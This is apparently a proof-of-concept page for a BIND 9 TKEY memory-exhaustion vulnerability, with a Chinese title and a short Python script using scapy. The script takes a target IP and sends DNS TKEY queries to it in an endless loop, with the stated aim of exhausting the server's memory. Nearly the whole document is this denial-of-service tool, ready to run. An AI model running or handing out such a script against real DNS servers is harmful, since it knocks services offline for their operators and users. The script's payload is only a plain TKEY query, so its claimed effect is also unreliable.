CVE-2026-3039 BIND TKEY认证内存耗尽漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-3039 (BIND 9 TKEY Memory Exhaustion) This script sends a crafted DNS packet with a TKEY query to trigger excessive memory consumption. """ import sys from scapy.all import IP, UDP, DNS, DNSQR, send def send_exploit(target_ip, target_port=53): # Construct a DNS query with TKEY type # TKEY type code is 249 pkt = IP(dst=target_ip) / UDP(dport=target_port) / DNS( id=0x1337, qr=0, opcode=0, rd=1, qdcount=1, qd=DNSQR(qname="example.com", qtype="TKEY", qclass="IN") ) print(f"[*] Sending malicious packet to {target_ip}...") # Send packets in a loop to exhaust memory faster try: send(pkt, loop=1, inter=0.05, verbose=0) except KeyboardInterrupt: print("\n[!] Stopped.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-3039.py <target_ip>") sys.exit(1) send_exploit(sys.argv[1])